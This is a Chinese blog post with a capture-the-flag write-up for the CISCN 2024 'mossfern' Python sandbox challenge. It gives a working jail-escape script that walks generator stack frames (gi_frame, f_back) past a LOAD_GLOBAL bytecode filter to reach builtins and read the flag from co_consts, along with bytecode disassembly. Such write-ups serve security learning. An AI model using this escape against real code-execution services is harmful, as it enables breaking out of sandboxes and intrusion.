703 字
4 分钟
CISCN2024-mossfern
2025-12-13

小明最近搭建了一个学习 Python 的网站,他上线了一个 Demo。据说提供了很火很安全的在线执行功能,你能帮他测测看吗?

直接给出exp,还是十分简单的,这个解法可能是个小的非预期的解,因为好多过滤都直接忽视了:

def a():
g = (g.gi_frame.f_back.f_back.f_back.f_back for _ in [1])
f = [x for x in g][0]
code = f.f_code
builtins = f.f_globals["_"+"_builtins_"+"_"]
str = builtins.str
print(str(code.co_consts).replace("}", "]"))
a()

注意这外层的a()函数的作用是形成闭包,防止在生成器的自引用时加载到全局变量以绕过字节码LOAD_GLOBAL的过滤,具体的原因我不多解释因为我也半知半解,这里贴出两种情况下生成器的反汇编码,有兴趣的可以看看:

包裹a()函数
[
'Disassembly of <code object <genexpr> at 0x7f6b5ed42c30, file "<dis>", line 3>:',
" -- COPY_FREE_VARS 1",
"",
" 3 RETURN_GENERATOR",
" POP_TOP",
" L1: RESUME 0",
" LOAD_FAST 0 (.0)",
" GET_ITER",
" L2: FOR_ITER 57 (to L3)",
" STORE_FAST 1 (_)",
" LOAD_DEREF 2 (g)",
" LOAD_ATTR 0 (gi_frame)",
" LOAD_ATTR 2 (f_back)",
" LOAD_ATTR 2 (f_back)",
" LOAD_ATTR 2 (f_back)",
" LOAD_ATTR 2 (f_back)",
" YIELD_VALUE 0",
" RESUME 5",
" POP_TOP",
" JUMP_BACKWARD 59 (to L2)",
" L3: END_FOR",
" POP_TOP",
" RETURN_CONST 0 (None)",
"",
" -- L4: CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR)",
" RERAISE 1",
"ExceptionTable:",
" L1 to L4 -> L4 [0] lasti",
"",
]
无包裹
[
'Disassembly of <code object <genexpr> at 0x7ff5d6b42c30, file "<dis>", line 2>:',
" 2 RETURN_GENERATOR",
" POP_TOP",
" L1: RESUME 0",
" LOAD_FAST 0 (.0)",
" GET_ITER",
" L2: FOR_ITER 61 (to L3)",
" STORE_FAST 1 (_)",
" LOAD_GLOBAL 0 (g)",
" LOAD_ATTR 2 (gi_frame)",
" LOAD_ATTR 4 (f_back)",
" LOAD_ATTR 4 (f_back)",
" LOAD_ATTR 4 (f_back)",
" LOAD_ATTR 4 (f_back)",
" YIELD_VALUE 0",
" RESUME 5",
" POP_TOP",
" JUMP_BACKWARD 63 (to L2)",
" L3: END_FOR",
" POP_TOP",
" RETURN_CONST 0 (None)",
"",
" -- L4: CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR)",
" RERAISE 1",
"ExceptionTable:",
" L1 to L4 -> L4 [0] lasti",
"",
]

接下来就是通过f_back往下爬调用栈,这里g.gi_frame自引用得到当前生成器的栈帧,然后到<listcomp>列表推导式的栈帧,然后是当前整个函数的栈帧,然后是模块级的当前代码对象的栈帧,也就是exec执行的内容,最后是模块级的整个运行文件的代码对象的栈帧,也就是app/uploads/THIS_IS_TASK_RANDOM_ID.py

我们使用f_code,来得到当前的代码对象本身,之后就是得到常量里的flag。

最后附上一张常用code对象属性的表,忘记了也可以通过dir()函数去查。

常用属性作用
co_argcount位置参数数量
co_nlocals局部变量数量
co_stacksize需要的栈空间
co_flags标志位
co_code字节码序列
co_consts常量元组
co_names名称元组
co_varnames变量名元组
co_filename文件名
co_name名称
co_firstlineno第一行行号
co_lnotab行号表
co_freevars自由变量名
co_cellvars单元格变

参考文献

利用生成器栈帧逃逸 Pyjail | CISCN 2024 mossfern 题解
Python利用栈帧沙箱逃逸
Why are python generator frames’ (gi_frame) f_back attribute always none? - Stack Overflow
CISCN2024初赛 web wp | dawn_r1sing

评论由 Giscus 提供支持

CISCN2024-mossfern
https://blog.erina.top/posts/ciscn2024-mossfern/
作者
Erina Yip
发布于
2025-12-13
许可协议
CC BY-NC-SA 4.0